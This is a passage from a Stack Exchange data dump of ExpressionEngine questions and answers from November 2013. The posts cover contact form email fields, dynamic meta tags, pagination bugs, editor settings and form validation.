  <row Id="16885" PostTypeId="2" ParentId="16847" CreationDate="2013-11-19T10:49:39.500" Score="1" Body="&lt;p&gt;It looks like that screenshot is out of date - will get that updated shortly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Store 2.0 it is not possible to bulk update prices and quantities like that. In 2.0 we are using EE's built in table libraries to display the order/inventory pages (which is considerably faster), but unfortunately it was not possible to retain the inline row expanders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The recommended alternative is to update the prices and stock levels on the publish page.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-19T10:49:39.500" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16886" PostTypeId="1" AcceptedAnswerId="16888" CreationDate="2013-11-19T11:43:50.967" Score="0" ViewCount="488" Body="&lt;p&gt;I'm setting up an email contact form for a page, it's working fine for logged in users, but for non logged users, they get the message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A valid sender email is required&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure it's the {member_email} field that's causing it, it's obviously not picking up the field if your not logged in.  Does anybody know a way to use this form without the {member_email} field, or a way to fill this field for someone whos not logged in?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:email:contact_form user_recipients=&quot;no&quot; replyto=&quot;yes&quot; recipients=&quot;mark@emagine.ie&quot; charset=&quot;utf-8&quot;}&#xA;    &amp;lt;h2&amp;gt;Register&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;            &amp;lt;label for=&quot;name&quot;&amp;gt;Your Name:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;required[]&quot; size=&quot;40&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;            &amp;lt;label for=&quot;institution&quot;&amp;gt;Institution/Organisation&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; id=&quot;Institution&quot; name=&quot;required[]&quot; size=&quot;40&quot; placeholder=&quot;institution/organisation&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;            &amp;lt;label for=&quot;number&quot;&amp;gt;Contact Number&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; id=&quot;number&quot; name=&quot;required[]&quot; size=&quot;40&quot; placeholder=&quot;contact number&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;email&quot;&amp;gt;Email Address&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;input {if logged_in} value=&quot;{member_email}&quot;{/if} {if logged_out} type=&quot;text&quot; value=&quot;&quot;{/if} id=&quot;from&quot; name=&quot;from&quot; size=&quot;40&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;      &amp;lt;p&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; id=&quot;subject&quot; name=&quot;subject&quot; size=&quot;40&quot; value=&quot;Contact Form&quot; style=&quot;display:none;&quot;/&amp;gt;&#xA;            &amp;lt;textarea type=&quot;hidden&quot; id=&quot;message&quot; name=&quot;message&quot; rows=&quot;18&quot; cols=&quot;40&quot; placeholder=&quot;Register&quot; style=&quot;display:none;&quot;&amp;gt;&#xA;                    Sent on:  {current_time format=&quot;%l %mF %Y&quot;}&#xA;            &amp;lt;/textarea&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;p&amp;gt;&#xA;            &amp;lt;input name=&quot;submit&quot; type='submit' value='Register' /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/exp:email:contact_form}&lt;/p&gt;&#xA;" OwnerUserId="984" LastEditorUserId="984" LastEditDate="2013-11-19T12:31:28.247" LastActivityDate="2013-11-19T12:31:28.247" Title="Email Contact Form {member_email}" Tags="|email|forms|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16887" PostTypeId="2" ParentId="16886" CreationDate="2013-11-19T11:56:57.777" Score="3" Body="&lt;p&gt;You'd have to have them fill out that field themselves. Currently, you have it hidden with &lt;code&gt;display:none&lt;/code&gt;. Also, your input related to the Email Address label has a placeholder of &quot;contact number.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try adding a logged_in conditional around the &lt;code&gt;display:none&lt;/code&gt; inline style.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;        &amp;lt;label for=&quot;email&quot;&amp;gt;Email Address&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; id=&quot;email&quot; name=&quot;required[]&quot; size=&quot;40&quot; placeholder=&quot;email address&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;from&quot; size=&quot;40&quot; value=&quot;{member_email}&quot; {if logged_in} style=&quot;display:none;&quot;{/if}/&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what you're trying with the required[] field and why someone would input their email address twice, but I'll trust you have that figured out since you didn't ask about it.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-11-19T11:56:57.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16888" PostTypeId="2" ParentId="16886" CreationDate="2013-11-19T11:59:22.497" Score="3" Body="&lt;p&gt;You just need to ask user to entered his email.     &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;            &amp;lt;input {if logged_in}type=&quot;hidden&quot; value=&quot;{member_email}&quot;{/if} {if logged_out} type=&quot;text&quot; value=&quot;&quot;{/if} id=&quot;from&quot; name=&quot;from&quot;  /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or you can replace FROM email for quest with your own (in all case you have email field)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; id=&quot;from&quot; name=&quot;from&quot; {if logged_in}value=&quot;{member_email}&quot;{/if}{if logged_out value=&quot;youemail@domain.com&quot;{/if} /&amp;gt; &#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-11-19T11:59:22.497" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16889" PostTypeId="2" ParentId="16868" CreationDate="2013-11-19T12:12:38.187" Score="3" Body="&lt;p&gt;Looks like you need &lt;strong&gt;&lt;a href=&quot;http://docs.pixelandtonic.com/fieldpack/fieldtypes/checkboxes/tags.html#selected-tag&quot; rel=&quot;nofollow&quot;&gt;:selected&lt;/a&gt;&lt;/strong&gt; tag&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For use in conditionals; returns whether or not a particular option is selected.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{my_checkboxes_field:selected option=&quot;kittens&quot;}' == '0'}&#xA;  &amp;lt;p&amp;gt;No Kittens :'(&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2378" LastActivityDate="2013-11-19T12:12:38.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16890" PostTypeId="1" AcceptedAnswerId="16894" CreationDate="2013-11-19T12:15:01.757" Score="1" ViewCount="1400" Body="&lt;p&gt;I want to be able to populate my meta tags with the information for the specific page that the user is visiting.  I obviously can't just plug a variable in there without it being in some kind of a channel entries loop, but I don't want to have to specify the channel because that defeats the purpose of having it dynamically populated.  Is there a way to grab the channel based on the page the user is on?  I'd basically want to have something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;{channel}&quot;}&#xA;&amp;lt;meta property=&quot;og:title&quot; content=&quot;{title}&quot; /&amp;gt;&#xA;...etc.&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="678" LastActivityDate="2016-01-21T12:27:04.340" Title="Populate Meta Tag Dynamically" Tags="|channel-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16892" PostTypeId="1" CreationDate="2013-11-19T13:02:27.753" Score="1" ViewCount="60" Body="&lt;p&gt;&lt;b&gt;Sorry - I can't figure out how to answer my own question, but this came down to me not using a Keyword Search. Relevance scoring only works on keyword searches.&lt;/b&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7.2&#xA;Super Search 2.1.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are trying to implement Relevance within our search results, but having no luck at all. We output {relevance_count} but it always returns 0. Eventually we also want to add relevance_proximity=&quot;yes&quot; but we will come back to that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code we are using and it still returns a {relevance_count} of 0 even when the title and/or tags is an exact match:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results&#xA;channel=&quot;photos&quot;&#xA;relevance=&quot;title=5+tags=1&quot;}&#xA;&#xA;&amp;lt;h2&amp;gt;{title} - {relevance_count}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;p&amp;gt;{tags}&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Jonathan&lt;/p&gt;&#xA;" OwnerUserId="2381" LastEditorUserId="2381" LastEditDate="2013-11-19T14:04:49.720" LastActivityDate="2013-11-20T16:29:14.297" Title="Solspace Super Search - Relevance not working" Tags="|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16894" PostTypeId="2" ParentId="16890" CreationDate="2013-11-19T13:23:33.197" Score="9" Body="&lt;p&gt;Personally I'd use SEO Lite - then only this is needed in the header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:seo_lite use_last_segment=&quot;y&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then this in the config file / SEO Lite template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EE2 example&lt;/strong&gt; (with focuslab llc master config):&#xA;&lt;a href=&quot;https://gist.github.com/bjornbjorn/4039233&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/bjornbjorn/4039233&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EE3 example&lt;/strong&gt; can be found here: &lt;a href=&quot;http://wedoaddons.com/seo-lite/extra-tags&quot; rel=&quot;nofollow&quot;&gt;http://wedoaddons.com/seo-lite/extra-tags&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/seolite&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/seolite&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.. but then again I might be biased as I'm the dev behind the addon ;-)&lt;/p&gt;&#xA;" OwnerUserId="189" LastEditorUserId="189" LastEditDate="2016-01-21T12:27:04.340" LastActivityDate="2016-01-21T12:27:04.340" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="16895" PostTypeId="2" ParentId="16876" CreationDate="2013-11-19T14:23:45.607" Score="2" Body="&lt;p&gt;Turns out it was a password issue. MT didn't like the original password I entered for some reason. Changing it fixed everything.&lt;/p&gt;&#xA;" OwnerUserId="237" LastActivityDate="2013-11-19T14:23:45.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16896" PostTypeId="1" AcceptedAnswerId="16910" CreationDate="2013-11-19T14:28:41.743" Score="1" ViewCount="112" Body="&lt;p&gt;I need to make the screen_name input field on my CP Register Member form required. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I currently have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Screen Name&#xA;$this-&amp;gt;table-&amp;gt;add_row(array(&#xA;    form_label(required().lang('Client Name'), 'screen_name').NBS.form_error('screen_name'),&#xA;    form_input(array(&#xA;        'id'    =&amp;gt; 'screen_name',&#xA;        'name'  =&amp;gt; 'screen_name',&#xA;        'class' =&amp;gt; 'field',&#xA;        'maxlength' =&amp;gt; 50,&#xA;        'value' =&amp;gt; set_value('screen_name')&#xA;        )&#xA;    )&#xA;)&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not sure what else I need to do to make this a required field. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="804" LastActivityDate="2013-11-20T15:15:22.100" Title="How can i make the Screen Name element required?" Tags="|member-management|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16897" PostTypeId="1" CreationDate="2013-11-19T14:51:45.343" Score="2" ViewCount="91" Body="&lt;p&gt;EE: 2.7.2&#xA;Zoo Triggers: 1.2.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a weird issue with pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my channel entries tag. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; dynamic=&quot;off&quot; limit=&quot;1&quot; paginate=&quot;bottom&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; status=&quot;open&quot; {triggers:entries}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the link automatically generated by pagination:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://domain.dev/http://domian.dev/http://domain.dev/news/P2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is my pagination code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{page}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; {if current_page}class=&quot;current&quot;{/if}&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/page}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pagination works when...&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I manually go to page 2 or whatever the pagination links generate correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use: pagination_base = &quot;news&quot; it works perfectly but I also use zoo triggers for categories and it doesn't work when inside a category, instead of news/category/xxxx/P2 it just goes back to news/P2&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If anyone knows whats going on here, and why pagination links are being output like (domain)/(domain)/(domain/channel/pagination) it would help me so much. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also using Structure 3.3.12&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still no answers to this&lt;/p&gt;&#xA;" OwnerUserId="1994" LastEditorUserId="1326" LastEditDate="2013-11-21T19:10:09.340" LastActivityDate="2013-11-21T19:10:09.340" Title="Weird pagination link generation - domain/domain/domain/channel/P2" Tags="|structure|pagination|zoo-triggers|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16898" PostTypeId="1" CreationDate="2013-11-19T15:04:23.890" Score="0" ViewCount="41" Body="&lt;p&gt;We have a site using Campaigner and Zoo Visitor to sign people up to a mailing list at Campaign Monitor when they register an account on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works OK but we are seeing some odd behaviour and I'm trying to work out if it's correct, a bug or what we can do to avoid it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem comes when we update categories on the entries created by Zoo Visitor. It seems that changing any categories causes Campaigner to unsubscribe the user from the mailing list at Campaign Monitor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea why this might be happening. Can anyone shed any light on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if it could be related to this issue &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/13912/zoo-visitor-update-form-to-update-only-some-entries-wipes-out-all-other-data&quot;&gt;Zoo Visitor update_form to update only some entries wipes out all other data&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-11-19T15:04:23.890" Title="Campaigner + Zoo Visitor, updating categories causes unsubscription" Tags="|zoo-visitor|campaignmonitor|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16899" PostTypeId="2" ParentId="7143" CreationDate="2013-11-19T15:07:56.197" Score="4" Body="&lt;p&gt;This works for logging into ExpressionEngine with ajax and showing the appropriate error, you would just modify the code where it checks for the error messages it returns to display to the user. You will need more conditions for the required fields.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function displayAjaxMessage(message, response_id)&#xA;{&#xA;    if(typeof(response_id)===&quot;undefined&quot;) response_id = &quot;#form-message&quot;;&#xA;    $(response_id).html(message);&#xA;    $(response_id).show();&#xA;}&#xA;&#xA;// using the jquery validate library &#xA;$(&quot;#register-form&quot;).validate({&#xA;    rules: {&#xA;        username: {&#xA;            required: true,&#xA;            email: true&#xA;        },&#xA;        password: {&#xA;            required: true,&#xA;            minlength: 5&#xA;        },&#xA;        password_confirm: {&#xA;            required: true,&#xA;            minlength: 5,&#xA;            equalTo: &quot;#register_confirm_password&quot;&#xA;        },&#xA;    },&#xA;&#xA;    submitHandler: function() {&#xA;        $.ajax({&#xA;            url: $(&quot;#register-form&quot;).attr(&quot;action&quot;),&#xA;            data: $(&quot;#register-form&quot;).serialize(),&#xA;            dataType: &quot;html&quot;,&#xA;            type: 'POST',&#xA;&#xA;            error: function (jxhr, msg, err) &#xA;            {&#xA;                $('#register-form').append('&amp;lt;li style=&quot;color:red&quot;&amp;gt;' + msg + '&amp;lt;/li&amp;gt;');&#xA;            },&#xA;&#xA;            success: function(html, textStatus, jqXHR) &#xA;            {&#xA;                if (html.match(/&amp;lt;title&amp;gt;Error&amp;lt;\/title&amp;gt;/)) &#xA;                {&#xA;                    var error = $(html).find('ul li:first').text(); &#xA;&#xA;                    if(error == &quot;The username you chose is not available&quot;)&#xA;                    {&#xA;                        displayAjaxMessage(&quot;This email address is already registered&quot;,  &quot;#register-form-message&quot;);&#xA;                    } else {&#xA;                        displayAjaxMessage(error,  &quot;#register-form-message&quot;);&#xA;                    }&#xA;                } else {&#xA;                    $(&quot;#register-form&quot;).hide();&#xA;                    displayAjaxMessage(&quot;Thanks! You can now login!&quot;,  &quot;#register-form-message&quot;);&#xA;                }&#xA;            }&#xA;        });&#xA;    } &#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13" LastEditorUserId="13" LastEditDate="2013-12-13T20:18:44.593" LastActivityDate="2013-12-13T20:18:44.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16900" PostTypeId="2" ParentId="16892" CreationDate="2013-11-19T16:09:58.527" Score="1" Body="&lt;p&gt;Copied from above...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;This came down to me not using a Keyword Search. Relevance scoring only works on keyword searches.&quot;&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-11-20T16:29:14.297" LastActivityDate="2013-11-20T16:29:14.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16901" PostTypeId="2" ParentId="16882" CreationDate="2013-11-19T16:20:41.787" Score="1" Body="&lt;p&gt;This is in the docs under &lt;strong&gt;&lt;a href=&quot;http://cartthrob.com/docs/tutorials/using_price_modifiers_and_product_options/&quot; rel=&quot;nofollow&quot;&gt;Using Price Modifiers and Product Options&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;inventory (Optional)&lt;/em&gt; Your field will need to be mapped in CartThrob's&#xA;  product channel settings as the inventory field to use the inventory&#xA;  feature.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-19T16:20:41.787" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16902" PostTypeId="1" AcceptedAnswerId="16907" CreationDate="2013-11-19T16:20:51.523" Score="2" ViewCount="150" Body="&lt;p&gt;It looks like in Wygwam 3.2.2, the field height grows with the content. It used to have a static height and a scrollbar would appear in the field if content was too tall for it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My client prefers the scrollbar way because the formatting toolbar would remain in once place. Any way to get that back?&lt;/p&gt;&#xA;" OwnerUserId="1575" LastEditorUserId="28" LastEditDate="2013-11-19T16:35:43.040" LastActivityDate="2013-11-19T17:22:27.993" Title="How to lock the field height and bring back the scrollbar?" Tags="|wygwam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16903" PostTypeId="1" AcceptedAnswerId="16906" CreationDate="2013-11-19T16:21:30.560" Score="4" ViewCount="635" Body="&lt;p&gt;I'm using the {segment_2} variable to complete various bits of info on a page. The segment is all lowercase, but that's fine as I'm using CSS to capitalize those elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem comes when I'd like to use that {segment_2} in the page title. It's appearing all in lowercase and I can't figure out how to make it appear in sentence case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas would be appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tom&lt;/p&gt;&#xA;" OwnerUserId="432" LastActivityDate="2013-11-19T21:52:05.393" Title="Anyone know how to capitalize a page title?" Tags="|segments|css|title|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16905" PostTypeId="2" ParentId="16902" CreationDate="2013-11-19T16:40:45.987" Score="1" Body="&lt;p&gt;Uncheck the &quot;Resizable&quot; box in the module configs: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MZMoI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-19T16:40:45.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16906" PostTypeId="2" ParentId="16903" CreationDate="2013-11-19T16:46:11.830" Score="7" Body="&lt;p&gt;Install the &lt;a href=&quot;http://devot-ee.com/add-ons/streeng&quot;&gt;&lt;strong&gt;Streeng plugin&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Perform common operations on strings. Change case, truncate,&#xA;  find/replace, repeat, encode/decode, generate slugs and more.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;One of the parameter options is &lt;code&gt;capitalize=&quot;yes&quot;&lt;/code&gt; which lets you capitalize the first character of the string.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-19T16:46:11.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16907" PostTypeId="2" ParentId="16902" CreationDate="2013-11-19T16:48:53.133" Score="7" Body="&lt;p&gt;In the Wygwam editor config, in advanced settings, add the 'autoGrow_maxHeight' setting and make it equal to the 'height' setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fbcee.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="22" LastEditDate="2013-11-19T17:22:27.993" LastActivityDate="2013-11-19T17:22:27.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16908" PostTypeId="2" ParentId="16890" CreationDate="2013-11-19T17:00:57.587" Score="3" Body="&lt;p&gt;I usually embed the &quot;header&quot; portion of each page, since most of that content is universal. So in this case, you can just use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/embedding.html#embed-variables-for-the-embedded-template&quot; rel=&quot;nofollow&quot;&gt;embed parameters&lt;/a&gt; to pass any meta tags dynamically.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;foo&quot;}&#xA;    {embed=&quot;_global/_header&quot; title=&quot;{title}&quot; description=&quot;{page_summary}&quot; thumbnail=&quot;{page_thumbnail}&quot;}&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    // etc&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your &lt;strong&gt;_header&lt;/strong&gt; template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// opening html tag, etc&#xA;&amp;lt;meta name=&quot;og:title&quot; content=&quot;{embed:title}&quot; /&amp;gt;&#xA;&amp;lt;meta name=&quot;og:description&quot; content=&quot;{embed:description}&quot; /&amp;gt;&#xA;&amp;lt;meta name=&quot;og:image&quot; content=&quot;{embed:thumbnail}&quot; /&amp;gt;&#xA;&amp;lt;meta name=&quot;description&quot; content=&quot;{embed:description}&quot; /&amp;gt;&#xA;&amp;lt;meta name=&quot;thumbnail&quot; content=&quot;{embed: thumbnail}&quot; /&amp;gt;&#xA;&amp;lt;title&amp;gt;{if embed:title}{embed:title} - {/if}My Great Site&amp;lt;/title&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-11-19T17:00:57.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16909" PostTypeId="2" ParentId="16903" CreationDate="2013-11-19T17:14:58.503" Score="6" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/ce-string&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;CE String&lt;/strong&gt;&lt;/a&gt; is another great option.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;CE String is a string manipulation tool for use in your ExpressionEngine templates. It is feature-packed, and allows you to manipulate strings (text) with very simple syntax.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You would just do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_str:ing strtoupper}{segment_2}{/exp:ce_str:ing}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;CE String has &lt;em&gt;tons&lt;/em&gt; of other useful methods. And the &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-string/user-guide/basics#chaining&quot; rel=&quot;nofollow&quot;&gt;chaining feature&lt;/a&gt; that lets you use more than one method can come in handy.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-11-19T21:52:05.393" LastActivityDate="2013-11-19T21:52:05.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16910" PostTypeId="2" ParentId="16896" CreationDate="2013-11-19T17:31:19.727" Score="2" Body="&lt;p&gt;Assuming this is a custom add-on you are building, you need to use the ExpressionEngine &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/form_validation.html&quot; rel=&quot;nofollow&quot;&gt;form validation class&lt;/a&gt; to truly make it required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is even a method specifically for screen name. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;form_validation-&amp;gt;set_rules('screen_name', 'Screen Name', 'required|valid_screen_name');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/form_validation.html#valid-screen-name&quot; rel=&quot;nofollow&quot;&gt;valid_screen_name&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other rules you can use, too. Check the form validation class &lt;a href=&quot;http://ellislab.com/codeigniter%20/user-guide/libraries/form_validation.html#rulereference&quot; rel=&quot;nofollow&quot;&gt;Rule Reference&lt;/a&gt; in the CodeIgniter docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you're referring to the Control Panel's Members &gt; Register Member form...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you find or build an extension to do this for you, you actually have to make a tiny modification 